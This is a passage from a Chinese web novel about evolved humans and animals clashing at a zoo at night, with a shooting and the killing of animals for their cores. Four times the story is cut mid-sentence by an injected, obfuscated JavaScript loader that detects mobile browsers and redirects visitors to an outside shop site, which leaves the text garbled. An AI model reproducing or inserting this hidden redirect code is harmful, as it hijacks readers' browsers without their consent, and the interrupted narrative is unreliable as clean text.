“战斧”和“花开富贵”便是这些势力中颇有号召力的两家,同时,也是意见完全相悖的两家。 战斧同意售卖部分进化动物以保证整个动物园正常运转,花开富贵则声称战斧组织表面打着售卖动物的旗号,实际上是想售卖动物体内的灵珠。短短几天,双方就此争执不下数回,从一开始的和颜悦色到现在的针锋相对。这不,雨刚刚停,两拨人又开始吵了起来。 原来是这样! 林萤暗叹一声,正准备坐回车里去,突然听到人群惊呼一声。她抬眼看去,就见战斧的一个成员正用巨大的手掌扇向一位穿着橙色运动服的阿姨,而那位阿姨毫不示弱,一动不动地站在原地,就在手掌将要落下时,阿姨突然张大了嘴巴,就见原本小小的嘴巴突然变得巨大,露出泛着森森白光的牙齿,紧接着一口咬住了对方的手指,直将那手指咬得鲜血淋漓,几乎要断了去。 “啧啧,终于动手了,打了好几天嘴炮,我都听烦了!” 林萤旁边一个上了年纪的大叔正掏出烟想要点燃,旁边的大妈一把将他的香烟打断了,嘴里还数落着:“要抽边上抽去,没看这么多人呢嘛!” “啧啧,不抽就不抽,改天去加油站抽!” “能耐!” 林萤没有在意这个小插曲,又将注意力放在了那两拨人身上,就听那名战斧成员疼得嗷嗷直叫,直到旁边的人纷纷劝解,橙色衣服的阿姨总算松开口,就见那根被咬的手指已经耷拉下来,显然已经折断了。能将进化后的手咬成这样,可见阿姨的咬合力之强大。 “这不是……”马浩哲突然开口,惊呼一声,“这不是我姑吗?!” 林萤回过头,就见他指着场中间那个橙色衣服的阿姨,指尖一抖一抖,似乎是不敢相信,“林萤,林萤!那是我姑!” 周围人太多,声音又杂,马浩哲的惊呼没有引起任何波澜,林萤却看向那个橙衣服阿姨,双眸亮亮的,“厉害了小马哥,你的姑姑太厉害了!她是进化了牙齿还是嘴巴?” 马浩哲摇摇头,“我也不知道啊,等会可以问问她,原来她说她在忙就是忙着在跟别人打架,我姑老了老了开始叛逆了!” 林萤继续看向堵着路的两拨人,经过刚才的风波,两帮人彻底敌对起来,场上战火一触即发。 就见战斧这边一个年轻小伙走了上来,他先是抿着嘴,用鼻子深深地吸了一口气,像是要将周围所有氧气全部吸光,而后突然张大嘴巴尖声咆哮,尖利的嗓音伴着不知从何处来的带着点大蒜味的强风顿时向对面的“花开富贵”们席卷而去。 林萤还好,她身后的马浩哲则是一边捂着耳朵一边软着身子靠在了车门上,他的嘴长得大大的,眼睛闭得紧紧的,试图通过这种方式缓解噪音带来的伤害。 一旁围观的群众也顿时纷纷捂着耳朵向后散去,实在是这个声音和这个味道,似乎能透过皮肤直接重伤人的内脏,不退不行。 战斧对面的花开富贵也不甘示弱,一个与爱因斯坦同款发型的大妈拨开捂着鼻子的众姐妹一步一步走上前来,她迎着怪风,在战斧成员诧异的眼神中淡定地脱掉鞋袜,将一只脚高高踢起,就见那只脚飞速变大,最后变得足足有一米多长,大脚横在小伙子的嘴巴前,顿时挡住了怪风,也让他的声波攻击泄了气。 小伙子咳了两声,拍着胸口退了回去,现场的所有人脸色都不太好看,甚至有人默默掏出了口罩带上。 接连两招带味道的攻击,林萤听到有人小声议论,“他们进化者都这么不讲究吗?”,旁边的人慌忙捂住他的嘴巴,“慎言!慎言!” 两帮人似乎还要再战,就在这时,战斧组织的一个成员接了个电话后突然朝老大耳语几句,就见那个站在队伍最前面的人伸出食指,指了指马浩哲的姑姑,接着带着战斧的人匆匆离去,而这边,马浩哲的姑姑似乎也听到了什么消息,和一旁的伙伴们退到了马路边上,聚在一起商议着什么。 围观的人也慢慢散开,停滞的交通又开始恢复。 马浩哲直接上前,喊了一声,“姑!” 那个橙色运动服的阿姨转头看了过来,眼睛一亮,接着就把马浩哲拽进了阿姨堆里。 “这就是我那个侄子,在云栖大学呢,对,特别有出息……哎呀,别看人长得有点胖,胖了有劲!我给你们说……” 一番交谈,等林萤和原初将车停在路边的车位上再返回来时,马浩哲依然被阿姨们围在圈里轮流打量着,眼见他红得像只煮熟的大闸蟹,浑身都开始冒热气,林萤走上前去,喊了他一声,这才将他从热锅里“解救”出来。 然而解救了马浩哲的林萤却被拖进了锅里,连带着她旁边的原初也成了新的焦点,两个人周围是此起彼伏的“小伙真俊,姑娘也不赖。” “这两可比马西梅那侄子好看多了!” “可别说了,待会生气!” “我听见了。” “……” 甚至不到一分钟,竟有人打听起林萤二人是否婚配。 林萤满头黑线,忙提醒她们:“阿姨,刚刚发生了什么事,为什么那帮人看上去很着急?” “呀!”马浩哲的姑姑马西梅顿时一拍脑门,“都别聊家常了,战斧那帮人过去了,咱们也快点过去!” “姑,你们要去哪儿啊?”马浩哲问道。 “去动物园!”马西梅一边说一遍掏出钥匙准备递给马浩哲,“你先带朋友回去歇息歇息,姑今天有事,可能不回家,冰箱里有吃的!” “行,行吧!”马浩哲朝林萤挤了挤眼睛,又将姑姑的钥匙推了回去,“你拿着,我有家里钥匙。” “好你个臭小子,自己配的吧!”马西梅轻轻拍了一下侄子的大脑门,转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735970|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 就要走,却在走前又回过头认真地嘱咐道:“把门关好,谁敲门都别开!” “知道了,我不是三岁小孩了……”马浩哲揉了揉额头的痛处,不满地嘟囔着。 林萤看着阿姨们离去的背影,小声问道:“动物园在哪边?” “往东走,大概一站路的距离。那是个老动物园,我小时候还在里面玩过,听说本来都要搬迁了呢,谁知道突然出了这样的事!”说罢,他拍了拍自己的肚皮,“走吧,跟我一起回去,我都有点饿了。” 马西梅家离这里不远,是老旧的单元楼,楼下没有停车场,于是原初找到了一家修车的地方,加了些钱,让对方加急修好挡风玻璃,然后几人大包小包将车里的东西拎回家。 是夜。 万籁俱寂之时,林萤悄悄起身来到了门口,她弯着腰正要穿鞋,突然看到自己的眼前多了一双鞋子,她被吓了一跳险些叫出来,继而仰起头定睛一看,发现这不是别人,正是抱着臂好整以暇看着她的原初。 “你走路没声的,吓死我了!”林萤小声埋怨。 “抱歉啊!我只是太好奇了,这么晚,你要去哪?”原初嘴上说着抱歉,面上却没有半点抱歉的意思,他微微低头靠近林萤,脸上挂着惯有的笑容。 林颖瞪他一眼,“你说呢?” “动物园,我猜的对吧?”眼见林萤点头,原初又看了看屋子的方向问:“不带他?” “我怕那危险。” 林萤说着,穿好鞋子轻手轻脚打开门,又冲原初招招手,“出发!” 原初亦是轻手轻脚走出来,接着顺势缓缓合上门,又推了推,见门已经关紧,才转过身来,“不带他,带我?” “原医生,不要故作矜持,你看你鞋子都换好了,估计都偷偷摸摸等我好一阵了……”林萤说着,迅速向楼下走去,“再说了,你已经进化了,完全有自保的能力。” “你还真是放心我。” “是,跟你在一起挺有安全感的。” “是嘛?我也觉得……”原初的声音很愉悦,“我是说,跟你在一起也很有安全感,林大圣。” 夜晚的青檀可以用一个“凉”字来概括,凉凉的风、凉凉的景、行人的鼻尖也是凉凉的,因为刚下过雨,凉中又带着充足的水气,深呼一口气,连肺里也是凉意。 楼房、树木、绿化带边上的护栏,铺着红砖的地面、路牙边的井盖,一切的一切都覆盖着一层反光的水,水面又倒映着闪烁的霓虹灯、楼房、树木,就像是地下也有一个小世界。 一个轻快的脚步踩过地上的小水洼,脚跟带起的水珠将这个波光粼粼的小世界变成串串水晶,“滴答滴答”,汇成涟漪般的褶皱,小水洼变得更浅了,待脚步声远去,一个更小的世界又出现了。 路灯下,林萤正迈着轻快的步伐朝动物园的方向走去,她本来可以走的更快,只是为了迁就原初才放慢了速度。尽管如此,两人都是风风火火一脸杀气,幸亏晚上人少,这阵仗要是放到白天,行人怕是得绕着他们走。 41. 被杀的少年 正在这时,一旁的原初突然停了下来,林萤也疑惑地刹住了脚,就见原初指了指街边一个斜放着的黄色小单车,“人和动物的区别是什么?” 林萤挑了挑眉,“人会使用工具!” 捣鼓了半分钟,两人终于成功骑上了单车。林萤在前方蹬得飞快,原初弯着腰站在车后,拉着林萤的衣领嗷嗷直叫:“慢点慢点!我要被颠下去了!” 林萤一把扯过他的手搭在自己的腰上,“抓紧,别叫了!” 后面那人一瞬间就安静了下来,尽管隔着衣服,林萤也能感觉到他全身都僵硬了。 车轮压过无数个小水洼,又拐过了三个路口,骑过漫长的一段外墙,最终停在了动物园的大门前。 林萤停下车,面色有些古怪,“我刚刚好像听到了汽车的声音,好像是在围墙里面……” 原初没有说话,似乎是没有听到。 林萤抬头看去,就见雕成大象形状的大门和里面的10条闸机通道都关闭着。果然如马浩哲所说,这个公园建得很早,石雕的大门早已斑驳,只能从长鼻子和大耳朵勉强看出来这是个大象,不过,那些闸机通道倒看上去挺新,应当是近年来新修的。 林萤将小黄车靠在墙边,一边打量门高一边将衣服下摆扎在一起,她打算从门上翻过去,或者直接跳过去。一旁的原初自从从车上下来后便一直默不作声地站在旁侧,像是在神游天外。 林萤望了他一眼,“你怎么了?” 原初的耳朵红红,脸颊也泛着粉色,“没,没什么……” 林萤又问他:“这个高度,你能翻过去吗?” 原初这才看向身侧的大门,“……应该没问题。” 林萤将信将疑地看了看原初,“那你先来!” 就见原初活动了一下手脚,而后轻轻松松翻了过去,林萤紧随其后,两人一前一后落地,都从对方的眼中看到了不可思议。 “原医生,没想到你藏得还挺深。” 原初理了理额前的短发,“彼此彼此,不过需要说明的是我可没有在你面前隐藏,咱们两个人中,你才是嘴巴最严实的一个。” 林萤语气诚恳,一脸认真地望着原初说道:“可是你很好,你知道我不想说,所以从来不追问我。” “我……”原初听到林萤的话,一时间没了话语,只抬起手一味捂住自己通红的面颊,甚至不敢抬头去看林萤一眼,“你,你太犯规了!” 林萤一本正经,“这不就是你们心理学上的‘镜像反应’吗?我给你贴上‘好人’标签,触发了你的一致性心理,你就会下意识维护这个标签,真的对我好。所以我刚才说的话,就是我对你的期许,原医生可不要让我失望啊!” 说罢,她眨眨眼,看向逐渐裂开的原初,“原医生,你不会连这个都不知道吧?” “哎,你……哎,我……” 就在这时,一股清风扑面而来,林萤嗅了嗅,方才还舒展的面容突然变得凝重。 ——她闻到了血腥味。 “走!” 林萤在前,原初慢了两步又追上去紧随其后,二人循着血腥味的来源摸黑前行。风一吹,树叶哗哗作响,叶上的水滴便“哒哒哒”滴落下来,像是又下了一场雨。而那些白日里看上去憨态可掬的动物雕塑,此时仿佛黑暗中的怪兽,立在重重叠叠的黑影中,冷不丁吓人一跳。 不多时,前方有光亮,林萤听到了动物的哀鸣声,也听到了人类的叫嚷声。就见园区一块宽阔的草地上正亮着灯,而两拨人正在对峙。一边是战斧和花开富贵,另外一边则是一帮穿着黑色衣服的人,还有几辆车停在黑衣服群体的身后。 两拨人马的中间,是由数只动物的尸体堆成的小山。 林萤一把抓住原初,两人躲在一只大熊猫雕塑的身后,悄悄看着。 此时,这个像小山一样的尸堆正往外冒血,血水混合着地上的雨水,一边往地里渗,一边往远处流。林萤看到其中不止有小浣熊、土拨鼠、小香猪之类的萌宠,更有矮马、梅花鹿、羊驼一类的中型动物,可它们此刻都像垃圾一样堆作一团,眼里空荡荡无了生机。 “原医生,你有没有发现,战斧和花开富贵的人少了一些?”林萤小声问道。 原初点点头,“似乎只有之前的一半,那个大脚阿姨和巨掌小子都不在人群里。” 林萤听到他起的名字,压住笑意,看向场中间。 就见那群黑衣服的人中有一个戴着眼镜的男人,他向前走了两步:“雪王呢?” 战斧的老大是个稚气未脱的少年,他将手插进裤兜里,吊儿郎当向前走了两步,将脖子一梗,“我怎么知道?它不是会飞吗?飞走了吧!” 就见那戴眼镜的人突然伸出了手,他的手臂一瞬间变得长如蛇身,一把将战斧老大拽了过来,而后掐住了他的脖子,将他提离地面,“我没有什么耐心,雪王呢?” 战斧的老大自然不愿束手就擒,他双手发力掐住眼镜男的手腕使劲向下沉,紧接着他将头使劲向后一仰,又猛地朝前砸去,“嘭”一声,他的前额径直撞上眼睛男的脸,将对方的眼镜撞碎,鼻梁也撞得歪斜。 眼镜男有一瞬间的混沌,待他反应过来,两行鲜血已经顺着他的鼻腔流了下来。 然而,战斧老大的攻击尚未结束,他悬空的双腿向后一弯又用力蹬向眼镜男的膝盖和胫骨,将对方蹬得踉跄一步,差点膝盖一软跪倒在地,手上自然也卸了力。于是,战斧老大很快便挣脱了眼镜男的钳制,以胜利者的姿态重新站了起来。 战斧这边的成员看见老大的英姿,都不约而同喝起了彩,就连一向与他们敌对的花开富贵们,也纷纷拍手庆贺。 然而,还未等他们高兴太久,只听,“呯”一声枪响,就见正转过身对众人挥手的少年身子一抖,一股鲜血自他的太阳穴射了出来。他似乎有些不可置信,一只手想要抚上自己的伤口,然而少年的手刚到半空,整个人便径直栽了下去,与那群死去的动物一样,软塌塌躺在了地上,毫无生机的双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742340|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 眼瞪得几乎要裂开。 欢呼的人群霎时寂静无比,大家都被这突如其来的一枪吓破了胆,场上落针可闻。 而黑衣服那边的成员自发地分成两排,一个穿着皮靴的女人从中间走了出来,她绑着蝎子辫,长长的辫尾坠在臀尖,随着她的动作左右摇晃,像是毒蝎的尾巴。 女人举着枪,来到眼镜男旁边,斜睨他一眼,而后轻轻吐出两个字,“废物!” 眼镜男捂着满是鲜血的鼻子,弯着腰瓮声瓮气地说道:“邓姐,我不知道他进化了两个部位,他的头和他的腿都进化了,这也太让人难以置信,我也是……” 邓汐打断了他的话:“我不想听你无能的细节,我只想问,那只白虎呢?” 眼镜男站了起来,他回答道:“我们方才去找了但是没有找到,白虎应该已经被转移了,这帮人嘴太严实我怎么问都问不出下落……” 邓汐扫了他一眼,眼镜男立即闭上了嘴巴,邓汐看了看堆成山的动物尸体,轻哼一声,“你们的活也太粗糙了,灵珠呢?” 眼镜男向后看了一眼,立即有一个人上前道:“已经收好放在车上了。” 邓汐微微颔首,接着迈着长腿走到战斧老大的尸体边上,将他的脑袋踩在脚底,一边垂眸打量自己的枪,一边漫不经心地说道:“几个偶尔进化了的人,组成两个不入流的势力,打着保护动物的旗号,妄想霸占资源,还转移了我们的目标动物白虎……我在想,是留下你们的命,还是直接将你们也变成这堆死尸?” 说着,她的目光直直看向对面的人,不止大妈们,战斧的小年轻们也吓得白了脸,纷纷向后退去。 这时,马浩哲的姑姑站了出来,她挺着背仰着头,看上去毫无畏惧,只是她垂在腰间的双手握成拳头正在微微抖动着,出卖了主人的心情。 就听马西梅结结巴巴地问道:“你们,你们竟然敢杀人,还有王法吗?” “王法?”邓汐像是听到了什么低智的笑话,她“哈哈”大笑两声,而后斜着眼睛,轻蔑地盯着马西梅,“大妈,看来你还是不明白,在青檀,谁的拳头大,谁就是王法。” 说着,她将枪头对准马西梅,“你看上去是个刺头,那就从你开始。说,白虎被你们藏在了哪里?” 马西梅扭头望向夜空,“我不知道!” “很好,嘴巴很严,你邓姐就喜欢这种骨头硬的!既然如此,我便问一个人杀一个人,直到你们愿意说出白虎的下落。” “杀吧,小命一条!” 此言一出,花开富贵那边的大妈们都拉着马西梅,想要让她少说几句,但后者面上除了一开始稍有惧色,却是愈战愈勇,目光也逐渐坚定了起来。 “呵呵。”邓汐冷笑一声,“为了一个畜生,你们还真是拼命。” 马西梅道:“你还有脸说我们,你们为了得到它造了这么多孽,简直是畜生不如!” “你!”邓汐怒极反笑,“那个畜生我早晚会抓到,但是你现在就要死!” 42. 逃跑的邓汐 说着,邓汐手指用力正要扣动扳机,却在下一刻敏锐地感觉到了一股危机,她想要缩回手,就看到一个尖锐的东西带着破空声极速而来,紧接着她的手指一痛,她低头看去,就见自己的手背被剜去了一块核桃大小的皮,皮连着肉,疼得她倒吸一口冷气。 邓汐抬手开枪,直直朝着那东西来时的方向,随着一声枪响,不远处的一个大熊猫雕塑被打断了一条手臂。 “谁在那边,出来!” 说着,邓汐朝身后的黑衣服们扬了扬下巴,后者得令,正要过去,突然就见一大堆利器裹挟着劲风从熊猫的身后破空而出,直直射向他们。 “小心!” 乘着这个空档,林萤与原初很快又换到一个大象雕塑后,林萤一边转移一边故意压低嗓音道:“上吧阿姨们,他们只有一把枪!” 闻言,马西梅与身后众人精神一振,立即开始行动。他们仿佛八仙过海,各显神通,一时间,场上有小型龙卷风、有尖利的爪子,有恐龙一般的巨齿,还有鞭子一般甩起来的手指。 对面的黑衣人们一边要应对不知从何处冒出来的利器,一边又要应对场上进化者们奇奇怪怪的攻击,一时间左躲右藏乱了阵脚,直到邓汐对着进化者势力的方向开了一枪,这才回过神来。 这一枪并没有击中人,却让对面的攻击停了下来,邓汐举起枪正想乘胜追击,却突然感觉一股凉风擦着喉结吹过,继而一股温热的液体顺着脖颈向下流去,她下意识摸了摸自己的脖子,低头看去,白皙的指尖满是鲜红的血液。 一瞬间,邓汐的身上泛起了密密麻麻的鸡皮疙瘩,她心知肚明若那个利器再进一毫,便能划破自己的喉咙让她瞬间毙命,她有预感,若是自己再在这里待下去,那个躲在黑暗中的神秘人一定会下死手——这是对方的挑衅,也是对方的警告。 敌暗我明,子弹只剩两发,邓汐不敢再赌。 她飞速躲过一个迎面而来的利器,双手向后一挥,“撤!” 一帮人挤进三辆皮卡车里,车飞速开走。 还有几个进化者正要去追,却被擦肩而过的子弹吓得停在原地,不敢再追上去。另有几个胆大的,跑到断臂的熊猫雕塑后去寻找,想看看刚刚是谁在暗中帮助他们,然而,找了一圈却一无所获。 而后,花开富贵们和战斧们聚在一起,大家打算先去查看一下动物园里的其他动物,再过来把这些已经死去的动物埋起来,还有几个人聚在战斧老大的尸体旁边,想要找个东西将老大的尸身带回去。 一番商议之后,取东西的取东西,检查动物的检查动物,不多时,草地上便没了人影。 而另外一边,皮卡车上的邓汐则是看着手下捡来的“利器”——这根本就不是什么特制的暗器,也不是什么锋利的刀具,而是常见到不能再常见的、围着绿化带的、木质护栏的顶部,那里是个椭圆的角,但根本就不具备什么杀伤力,一看就是随手折下来的。 一个随手捡到的木片,竟然差点割断自己的喉咙!邓汐想到这点,脊背瞬间冒起了冷汗。 这个人,不能留! 与此同时,林萤和原初两个人鬼鬼祟祟地来到了尸体堆边上,林萤摸了几只没被压住的动物,而后道:“里面的进化核都被取走了,看来他们就是为了进化核。不过……” 林萤看向一旁的战斧老大,“这个人的体内还有两颗。” 说罢,她的手探到尸体被打出花的太阳穴附近,食指一勾,从他的头颅里勾出来一枚进化核,而后又将手移到他的腿弯,像弹钢琴那般探了探,随后两指一挖,同样挖出来一枚进化核,而后她淡定地将两枚进化核装进衣兜里,冲死者双手合掌拜了拜,“对不起,事发突然没能救下你。” 一套动作,行云流水,丝毫不见停滞,从她的手探上少年的头颅到拿出两颗进化核,总共用了不到一分钟的时间。 原初饶有兴趣地打量着林萤的动作,而后道:“你倒是越来越熟练了。” “我太想强大了。” 林萤又埋下头开始在动物堆里查找,想看看有没有漏掉的进化核,然而那帮人似乎是杀一只取一颗,这么多动物,愣是没有一只被放过。 林萤检查完毕,直起身子叹息道:“一枪,进化了两次的人,仅仅用一枪就能解决。可见无论再怎么进化,肉身的力量在热武器面前果然不够看。” “他们为什么会有枪?”原初道:“虽然那看上去只是最普通的?Glock19……” “你不知道吗——青檀之所以从一开始就乱起来,是因为两个运输枪械的司机进化了,他们起了私心,将一车东西都据为己有,以致后来的进化者有样学样,都去围剿警察和特警,整个青檀就这样逐渐变成了一盘散沙。”刚说罢,她的耳尖微微动了动,“走吧,有人来了!” 两人这次选择的躲藏地是远处的灌木丛。大概是人手不够,动物园里的灌木很久没有修剪过了,已经看不出原来的形状,变得茂密又原生态,地面上也全是杂草,看上去像是荒芜了很久。不过,这对于林萤二人来说,倒是一件好事,这样的树丛,最适合藏人了。 待两人又回到黑暗中,原初又问:“那帮黑衣服的到底是什么来历,胆子真大。” 林萤一边盯着场中的人影,一边道:“你问我我也不知道。但是对方胆大是胆大,但也没有那么胆大,不然他们就不会在晚上行动了,直接挑个大白天岂不是更方便?这就说明青檀这边还有他们忌惮的势力,而且……” 林萤看到场上的人在拖动动物的尸体,有一个力气大的直接将一只梅花鹿扛起来,他们找了一辆卡车,铺上篷布,正将动物尸体往篷布里放。 “而且,你也看到那些动物的尸体了,那都是小中型动物,没有大型动物的,例如大象河马之类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751396|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,我不相信他们不眼馋这一类动物的进化核,只是他们暂时拿不到罢了,我想,进化后的大型动物一定非常恐怖。” 说着,林萤看向原初,即使周围再暗,后者的眼睛也在熠熠闪烁着。 原初福如心至,“不如,我们去看看?” 林萤点点头,“走,我刚刚在门口那边看了地图,知道大象园区在哪里。” 说着,林萤猫着腰先一步向前走去,原初紧随其后,两人一路无言却默契十足。 大象园区在动物园的东边,旁边临近的是犀牛区,目前,青檀动物园有两头大象,四只犀牛,有人说这几个大家伙都进化了,也有人说只有一头大象和一只犀牛进化了,林萤也不清楚到底有几只进化动物,但是想必进化后的动物能明显地看出不同,所以直接过来看看就成。 大象的场地是一个大凹坑,三边挖有干壕沟,另外一边连通着象舍,凹坑的侧面是带有岩石的陡峭斜坡。此时,原本平整的斜坡上全是裂痕,有不少地方的岩石也脱落了下来,只在那里留下一个个直径近两米的坑。 “嗯……看来大象很愤怒,力气也很大。”林萤一边给原初描述这里的情况一边感叹道,大象园区没有开灯,原初看得不真切,所以林萤便自发当起了他的眼睛。 “它是陆地上力量最惊人的动物,没有之一。”原初说:“但它同时也是相对温顺的动物,能这样大规模破坏居住地,显然不是寻常大象的风格。” 两人一边说,一边向凹坑边缘看去,为了防止游客跌落,凹坑的一周都建着防护栏,防护栏里还围着一圈大网,此时,这些大网上也多了许多孔,不知道是人为的还是大象的杰作。 如果这是人为的,那么应当是有人从这里开了个洞试图投喂或者挑衅大象;如果是大象做的,那么就是说,它们直起了身子,来到了边缘,用自己的长鼻子将网破开了,至于为什么没有将网全部破开,林萤猜测,这是因为大象沉重的身躯导致它无法长时间直立,所以每次只能破开一小块。 不过,不论是以上哪种成因,都让林萤直觉不好。如果是人,那么就证明已经有人开始伤害大象,这将会引发大象对人类的敌视,导致它无差别地攻击;如果是大象,那么这只大象已经不愿意被关在一个小小的空间里,一旦有了自由的念头,它跑出去是早晚的事情。 “住在这里的两只大象是一对夫妻,妻子名为香蕉,因为它爱吃香蕉,她的丈夫叫做‘不拿拿’,不拿拿……banana?有趣有趣……可见这家动物园虽然老旧,但却是真心热爱动物的。” 原初看了看一旁的介绍,又绕到了象舍边上去,而后他突然停住了脚。 “怎么了?” 林萤凑过去一看,就见象舍的大门从外面敞开着,里面的铁栅栏也被打开了,靠近门口的地面上有一行很明显的车轮印记。 ——大象不见了。 43. 做我的眼睛 林萤和原初对视一眼,都从对方的眼底看到了担忧,他们二话不说,来到旁边的犀牛馆,就见这边的大门也全部敞开着,地上全是脏兮兮的脚印,犀牛同样不见了。 能将大型动物带走,显然不是刚才那帮人的皮卡车能做到的。林萤想起自己骑单车时听到的响动声,想必就是在那个时候,大型动物已经被带走了。 原初看着地上的脚印,突然开口说道:“我觉得事情可能不像我们想象的那样糟糕。” “怎么讲?” “你看,这些地上的脚印看着虽然乱,但是似乎都是来自同一个人的,犀牛的脚印也全都集中在一侧,看上去很有秩序,很显然,这个人对它们来说很熟悉,通常是饲养员。最重要的是,能装大象和犀牛的车通常是经过改装的重型卡车,装载时也需要吊车,你看这边……”原初指了指地上的痕迹,“吊车之前应该就在这里。或许是园方知道有人想要伤害这些动物,所以提前转移了它们。” 林萤顺着他指的方向看去,发现果真如原初所说,地上的痕迹分外明显。 林萤思索片刻,缓缓说道:“可是,之前我只听到了卡车的声音,并没有听到吊车的响动声……算了,我们再去看看那只老虎吧!” 林萤说完,与原初两人迅速向猛兽区行去。 一路上,林萤设想了无数种可能,然而到了猛兽园区的时候,还是被眼前的景象惊到了,就见这里的射灯大亮,一束束光自高高的虎区岗楼上落下来,在地面上形成一个个闪烁的光圈,像是在开一场寂静无声的森林派对。 “看样子老虎也没在。”原初耳语。 林萤侧耳听了片刻,“走吧!”这次,她选择了另外一个方向,“我们刚才是从正门进的,等下我们从后门走。” “你知道路线吗?” “大概知道一些。”林萤说:“其实刚看到那帮黑衣服的时候我就注意到了,园区大门是锁的,但他们开着皮卡车,而且离去的方向也不是正门,所以这里一定有个后门,而且是车辆可以通过的,我们这次从后门走,看看那边是什么情况。” “听你的。” 林萤在前面带路,期间她看到了一帮战斧的成员,他们正用一辆小卡车将老大的尸首往外运,不少人哭成一团,泪水冲去妆容,露出他们年轻稚嫩的容颜——十七八岁,还是一帮大孩子。 有了战斧带路,接下来的路便好走了,林萤二人不远不近跟在他们身后,就见车子拐了两个弯,来到了一处亮着灯的地方,这里有一扇半开着的大铁门。车辆行至铁门前面,一个小伙子跳下车去将铁门全部打开,然后又爬上了车,接着,车辆缓缓驶了出去。 这里应该就是动物园的后门了,林萤注意到亮着灯的地方有一个监控,只是本该牢牢固定在墙面上的监控,此时却像个老式吊钟的钟摆一样,挂在墙头摇摇欲坠,显然已经被破坏了。 原初看着门的方向问道:“我们要回去吗?” “等一下。”林萤说着,又向动物园里侧的方向走去,“我们还有一处没有看,那就是两栖爬行动物的地盘,我要看看那些大蟒蛇大鳄鱼是不是也被转移走了。” 林萤之所以想要将这里看个遍,是因为之前林祐均说过载着杜煦的车在水青路失联,水青路如今最动荡的地方就是动物园,也不知道两者之间到底有没有联系? 林萤不想错过一丝找到杜煦的机会,她拉着原初,摸黑向前行去。 期间,为了躲避对面过来的人,林萤两人躲到了一旁的绿化带后面,绿化带前是脏兮兮的排水槽,看上去似乎很久没有人清理了,里全是褐色的泥土。 不过,令人觉得奇怪的是这些泥土看上去无比松软,颗粒也很大,像蚕沙一样匀称。 这……有点像巨大蚯蚓的粪便。林萤甩了甩脑袋,将记忆里缠来缠去的蚯蚓全部甩了出去。 心里虽然很嫌弃,但是待那人走远后,林萤还是来到了排水槽边,弯下腰,伸手捞了一捧,然后她就发现排水槽里黑沉沉的压根就不是土,也不是什么蚕沙粪便。 这些黑沉沉的东西几乎全都是鼠妇的尸体,它们一只只蜷曲着身子,形状像是被砸瘪的篮球,两侧纤细弯曲的腿几乎变得根根透明,只有背上还保持着黑褐色。由于刚下过雨,鼠妇的尸体被雨水泡发,几乎成了“巨鼠妇观”,看上去很是渗人。 林萤忙甩了甩手,将这些尸体抛回原地,而后她又在密密麻麻的湿尸下看到不了不少被掩盖的白骨,林萤拨开鼠妇,看其形状,大概是鼠骨或者兔骨。 ——怎么会出现这些? 林萤和原初对望一眼,都从对方的眼底看到了诧异。 “让我看看……”林萤站在排水槽的一侧向两边看去,动物园的地势有明显的高低之分,“那边高,只要顺着这边向高处走就行。” 两人说干就干,不多时就走到了排水槽的尽头,这里不是别处,正是两栖爬行动物的园区。两人一路走一路看,排水槽里的鼠妇时多时少,但没有间断过,初步推断是来自于园区的废水中。 绕过透明的防护玻璃墙,来到爬行动物园区的入口,此时画着绿色鳄鱼的门大开着,门口还停着一辆车。 原初正要往里走,林萤突然拉住了他,“等等,里面好像有人。” 不仅有人,而且伴随着极大的动静,像是有个怕水的人掉进了浅水滩,一面扑腾一面用手击打地面,隐约还伴随着一个人的呐喊声。 声音不大,但在寂静的夜里格外清晰,原初的听力没有进化,但也听到了,他悄声问林萤:“你有没有觉得这个声音有点熟悉?” 林萤眉头紧皱,“……像是……” “小马哥的姑姑,对不对?” 林萤点点头,没错,就是小马哥的姑姑,她的声音非常有特点,是那种高亢而富有穿透力的女声,但凡听过一次便知道这是她的声音。 只是,她怎么会在这里? 还没等林萤弄明白,园区里的声音戛然而止,不多时,一伙人推着一个装有轮子的大笼子走了出来,笼子里面装着一只巨大的尼罗鳄,单看身长,恐怕就接近三米。此时那鳄鱼一动不动,应当是被注射了麻醉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 